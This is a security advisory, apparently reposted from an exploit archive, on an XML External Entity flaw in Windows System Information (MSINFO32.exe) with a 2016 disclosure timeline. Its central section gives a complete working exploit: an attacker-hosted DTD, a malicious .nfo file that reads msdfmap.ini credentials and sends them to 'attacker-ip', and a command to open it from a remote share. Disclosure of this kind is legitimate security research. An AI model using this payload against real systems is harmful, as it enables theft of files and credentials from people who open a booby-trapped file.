Windows System Information 6.1.7601 XXE Injection

`[+] Credits: John Page aka hyp3rlinx  
  
[+] Website: hyp3rlinx.altervista.org  
  
[+] Source:  
http://hyp3rlinx.altervista.org/advisories/MICROSOFT-MSINFO32-XXE-FILE-EXFILTRATION.txt  
  
[+] ISR: ApparitionSec  
  
  
  
Vendor:  
=================  
www.microsoft.com  
  
  
  
Product:  
==========================  
Windows System Information  
MSINFO32.exe v6.1.7601  
  
  
Windows MSINFO32.EXE Displays a comprehensive view of your hardware, system  
components, and software environment.  
  
Parameters  
FileName : Specifies the file to be opened. This can be an .nfo, .xml,  
.txt, or .cab file.  
  
  
  
Vulnerability Type:  
===================  
XML External Entity  
  
  
  
CVE Reference:  
==============  
N/A  
  
  
  
Vulnerability Details:  
=====================  
  
Microsoft Windows MSINFO32.exe is vulnerable to XML External Entity attack  
which can potentially allow remote attackers to  
gain access to and exfiltrate files from the victims computer if they open  
a malicious ".nfo" file via remote share / USB etc.  
  
Upon open the file user will see error message like "System Information is  
unable to open this .nfo file. The file might  
be corrupt etc..  
  
  
Tested Windows 7 SP1  
  
  
Exploit code(s):  
===============  
  
Access and exfiltrate Windows "msdfmap.ini" file as trivial POC.  
This file contains credentials for MS ADO Remote Data Services.  
  
  
1) python -m SimpleHTTPServer 8080 (runs on attacker-ip / hosts payload.dtd)  
  
  
  
2) "payload.dtd"  
  
<?xml version="1.0" encoding="UTF-8"?>  
<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker-ip:8080?%file;'>">  
%all;  
  
  
  
3) "FindMeThatBiatch.nfo" (corrupt .NFO file)  
  
<?xml version="1.0"?>  
<!DOCTYPE HYP3RLINX [  
<!ENTITY % file SYSTEM "C:\Windows\msdfmap.ini">  
<!ENTITY % dtd SYSTEM "http://attacker-ip:8080/payload.dtd">  
%dtd;]>  
<pwn>&send;</pwn>  
  
  
  
Double click to open FindMeThatBiatch.nfo, user gets error MSINFO32  
opens... attacker gets files.  
  
OR open via Windows CL:  
c:\>msinfo32 \\REMOTE-SHARE\FindMeThatBiatch.nfo  
  
  
  
Disclosure Timeline:  
======================================  
Vendor Notification: September 4, 2016  
Vendor Reply "not meet the bar for security servicing": September 7, 2016  
December 4, 2016 : Public Disclosure  
  
  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
  
Severity Level:  
================  
High  
  
  
  
  
[+] Disclaimer  
The information contained within this advisory is supplied "as-is" with no  
warranties or guarantees of fitness of use or otherwise.  
Permission is hereby granted for the redistribution of this advisory,  
provided that it is not altered except by reformatting it, and  
that due credit is given. Permission is explicitly given for insertion in  
vulnerability databases and similar, provided that due credit  
is given to the author. The author is not responsible for any misuse of the  
information contained herein and accepts no responsibility  
for any damage caused by the use or misuse of this information. The author  
prohibits any malicious use of security related information  
or exploits by the author or elsewhere.  
  
hyp3rlinx  
`